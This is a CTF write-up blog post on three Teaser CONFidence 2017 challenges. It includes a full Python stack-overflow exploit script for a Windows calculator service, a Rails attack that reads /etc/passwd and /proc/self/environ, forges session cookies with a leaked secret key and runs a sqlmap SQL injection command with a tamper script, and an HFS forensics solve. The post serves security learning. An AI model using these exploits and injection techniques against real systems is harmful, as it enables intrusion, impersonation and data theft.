Quick Writeups from Teaser CONFidence CTF 2017

Over the weekend I played the Teaser CONFidence (Dragon Sector) CTF with 9447. These are my writeups on all the challenges I solved, for the benefit of the rest of my team. Perhaps also of interest to the challenge authors and other participants, but definitely not the most interesting writeups.

Fastcalc (Pwning, 500)

I was pretty happy to get “first blood” on this challenge, but unfortunately solving a challenge quickly often means solving it without a thorough understanding, so it’s not going to be a brilliant writeup.

This was a 32-bit Windows challenge which provided a simple calculator.

I started reversing in IDA. It had a conspicuous call to system(“echo Fastcalc…”) near the top of the function, surrounded by normal IO functions (probably C++, but could be C – I didn’t pay too much attention). So I had some idea of where I’d end up jumping, and that I should be trying to get eip control. The code also, somewhat strangely, uses fibers to transfer control flow. Fortunately I’d recently learnt about them elsewhere, and they had very little to do with my solution to the challenge itself.

The code allowed construction of “new” expressions, followed by execution of expressions. The parser accepted only doubles, the usual four arithmetic operators (+ – * /) and parentheses, and had some notion of precedence. I believe the parser essentially converted from the usual infix form represented by characters (“1+2*3”) to a postfix form stored in structures in memory (“1 2 3 * +”).

I reversed the structures, and the function that output them, as follows:

struct ParseNode
{
 double double_or_byte;
 _DWORD is_operator_byte;
 _DWORD padding;
};

struct ParseNodes
{
 _DWORD num_nodes;
 _DWORD padding;
 ParseNode nodes[256];
};
void __cdecl append_double_or_byte(int a1, char a2, double a3, ParseNodes *a4)
{
 a4->nodes[a4->num_nodes].is_operator_byte = a1;
 if ( a1 )
   LOBYTE(a4->nodes[a4->num_nodes].double_or_byte) = a2;
 else
   a4->nodes[a4->num_nodes].double_or_byte = a3;
 ++a4->num_nodes;
}

I noticed that this does not do any kind of overflow checking, and this structure is allocated on the stack of the wmain function. So I had a look at some of the following values in memory and formed a theory that I could get it to write a pointer into a double and leak it back to me as the result of an expression (e.g. 0+0+0+0+0+0…).

I tried this, and overflowed the stack a bit, but when I ran the expression it just dumped out a lot of stack memory as the expression name. I had no idea why, and I solved the challenge without knowing. (But I now propose it was caused by corrupting an std::string structure, which can have inline data or dynamically allocated data. It probably didn’t corrupt the length, but changed what I presume is the “capacity” field so that the string looked inline for its data. I get to std::strings in a minute.)

I later figured out a way to make my original idea work too, but it was much less useful than the stack leak, so I forgot about it.

I noticed the stack had a cookie, which meant it was unlikely that we could get eip control that way, and wasted a bit of time trying to reason about what was on the stack that I could poke. It amounted to mostly a bunch of strings, and not much of interest, so I went back to the “stack overflow” approach, hoping that it would be possible due to the uninitialised gaps often left in the 16-byte structures I was overflowing.

I initially tried to skew the postfix tree so that it would be all controlled values followed by all operators “0+(0+(0+(0+0)))” -> “0 0 0 0 0 + + + +”, but quickly found that that wrote past the bottom of the stack and crashed, so I switched to an approach where I did “0+0+0+0+0” until I got past the end of the main buffer, then switched to the contiguous doubles at the end of the sequence.

This worked but produced a bunch of useless crashes long before returning from the function, apparently freeing some std::string structures. I reversed a bit and figured that if I sprayed a value less than 0x10 it wouldn’t try to free the memory, so I changed to spray with the double value that was encoded as 0F 00 00 00 0F 00 00 00, which ended up with eip = 0xF. Awesome!

I switched to using more interesting values and discovered a problem where the low bits of my doubles were getting corrupted. To my surprise this was caused by rounding in pythons str implementation. Switching to repr fixed it. Lesson learned.

The stack layout meant that I controlled one more DWORD (the other half of a double) on the stack after the return address. If I returned directly to the system function, that would be interpreted as the return address (from system), but by returning to the instruction “call system” it gets treated as the argument – a pointer to a string.

So now I just needed to get string data in memory. However the code was reading from user input it didn’t allow spaces, so the command “type flag.txt” wasn’t going to work. I discovered that “type,flag.txt” could work, and proceeded to foolishly load it into the stack frame of main, and pass a pointer to it to system. This doesn’t work, because we’ve already returned from main, so system‘s stack frame corrupted its own argument. The only other things on the stack I could easily control were doubles, but they were only 8 bytes long. In the end I packed the command “type f*” into a double and it worked. Yay!

The somewhat abbreviated, although no less terrible, code:

def get_nested_thing(image_base, stack_leak):
  dwords = [
    15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15,
    15, 15, 15,
    image_base + 0x3055,
    stack_leak - 36,
    struct.unpack('I', 'type')[0],
    struct.unpack('I', ' f*\0')[0],
    15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15]
  values = []
  for i in range(0, len(dwords), 2):
    values.append(repr(struct.unpack('d',
                struct.pack('II', dwords[i], dwords[i+1]))[0]))
  global values_index
  values_index = 0
  def next_value():
    global values_index
    v = values[values_index]
    values_index += 1
    return v
  def nested(x):
    if x == 0:
      return next_value()+'+'+next_value()
    return next_value()+'+(' + nested(x-1) + ')'
  return nested(15)

read_until('Operation: ')
send('new\n')
read_until('expression: ')
send(128*'000+' +  '(0+0)\n')
read_until('Operation: ')
send('run\n')
read_until('Expression ')
leak = read_until(': still running.')[:-len(': still running.')]
leak = leak[:len(leak)-len(leak)%4]

values = struct.unpack('I' * (len(leak)/4), leak)
text_leak = values[12]
assert (text_leak & 0xFFFF) == 0x3483
image_base = text_leak - 0x13483

read_until('Operation: ')
send('new\n')
read_until('expression: ')
raw_input('press enter:')
send('0+'*126 + get_nested_thing(image_base, values[15]) + '\n')
while 1:
  if 'runtime error' in read_until('Operation: '): break
  send('run\n')
  read_until('Expression ')

send('new\n')
read_until('expression: ')
send('.type,flag.txt\n')
read_until('Operation: ')
send('quit\n')
read_until('asdfasdf')

derailed (Web, 300)

Derailed was a Ruby on Rails web challenge in the form of a note taking app. I registered an account, logged in, and the first thing I noticed viewing source was that images were embedded using base64 URLs, which seemed a bit odd. The next thing I noticed was that these images came from URLs in the markdown, so the code:

![derailed](http://derailed.hackable.software//derailed.png)

would appear as a base64 encoded image. I tried file:/// URLs, which didn’t work. I tried to get it to send an HTTP request to a server I controlled, which did work, but didn’t lead anywhere. I considered setting up FTP or SMB servers to see if it would send me credentials (which was a solution to a CTF challenge I failed to complete many years ago), but didn’t. Eventually I tried just /etc/passwd which worked.

The passwd file listed the home directory of the derailed user, and I found an example rails app on GitHub and used that to guess some URLs and pull down some of the source files.

I also found the rails secret key in /proc/self/environ and used that to make sessions impersonating other users in the hopes that a key was stored as user zero or one. In hindsight I should have seen that this was a dead end, but after successfully writing a ruby script to make fraudulent cookies, and iterating over every possible user I didn’t find the key, just lots of other contestants notes.

I went to dinner, and tried to think of alternate approaches to suggest to my team mates, or paths we hadn’t searched yet. I figured I had some time to kill, so I tried auditing for other bugs and stumbled upon this code:

def index
  @notes = current_user.notes.order(order)
end
def order
  order = params[:order]
  if order =~ /^(created_at|updated_at|title)$/
    order
  else
    'created_at'
  end
end

I’m really not familiar with Ruby, but I knew that using regex for validation isn’t foolproof, and I’d done SQL injection through an ORM at my day job years ago, so I tried bypassing it by appending “%0a” to the parameter, which worked. I still wasn’t sure if it was injectable, but I figured out that “%0a-” would crash but “%0a–” wouldn’t, and assumed it truly was SQL injection.

I had a nice dinner with friends.

On the train ride home I got back to it, this time using sqlmap (I’m lazy, and it’s pretty good). It was a tricky injection, so I figured out how to do blind queries myself, then specified the injection point manually:

sqlmap.py -u 'http://derailed.hackable.software/notes?order=
              created_at%0a,%20updated_at%20limit%20(select
              %20count(*)%20from%20users%20where%201=1*)'
              --cookie='_derailed_session=...'

(sorry about the confusing wrapping)

As you can see I initially didn’t escape the ‘*’ in count(*) causing some injection point confusion, but after that (and a ton of other fiddling with random options I didn’t really understand) I got it to recognise the blind AND based injection.

On the train ride home I got it to dump the table names and column names and asked it to dump the most interesting one:

Database: public
Table: fl4g
[1 entry]
+---------+
| F1A6    |
+---------+

But it just gave up because of 500 errors, and I had to get off the train and walk home. On my walk I reasoned that it might be because the column name looks like hexadecimal, and if I could only quote it it might work. When I got home I verified this (using the extremely verbose setting on sqlmap to get the URLs and modify them by hand), and wrote a tamper script to do it for me (surprisingly easily):

from lib.core.enums import PRIORITY
def tamper(payload, **kwargs):
  retVal = payload.replace('F1A6', 'fl4g."F1A6"')
  return retVal

I wrote just over half of one of those lines, the rest are from the manual/template. The final flags were “–dbms=postgres –dump -T fl4g -D public –threads=4 –tamper=quote” (because I called my script quote.py). And it gave me the flag.

INDEX (Forensics, 400)

I wasn’t going to write this up. No offence to the creator, but I just really like pwning a lot more than sifting through haystacks. I wasted hours trying to find tools to parse the filesystem and dump the metadata, specifically the catalog, because of the cryptic poem:

I'm a collector and I've always been misunderstood
I like the things that people always seem to overlook
I gather up and catalog it in a book I wrote
There's so much now that I forget if I don't make a note

I started reading the HFS specification, and an HFS parser espes had written.

In the end, I pieced together the two parts of a Mach-O by looking at where they started and stopped in a hex editor. I loaded it in IDA and read the code. I found the XOR key, and knew exactly what file was meant by inode 19 due to all the previous investigations and dodgy tools I’d installed in virtual machines. I XOR’d the right bytes with the other right bytes and got the key.

2 thoughts on “Quick Writeups from Teaser CONFidence CTF 2017

  1. I am the author of INDEX (and derailed).
    The trick was that the catalog file was indeed modified to hide the file. File with CNID 1337 had a resource fork that contained the binary and was converted into a hardlink.
    I encourage you to read up on how hfs+ implements hard links here: https://developer.apple.com/legacy/library/technotes/tn/tn1150.html
    The funny thing is that hfs+ fsck immediately detected the conversion into a hardlink when the binary was in the data fork, but it didn’t do that for other forks.
    Sadly, I doubt that anyone solved it the intended way, but you were quite close 🙂

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s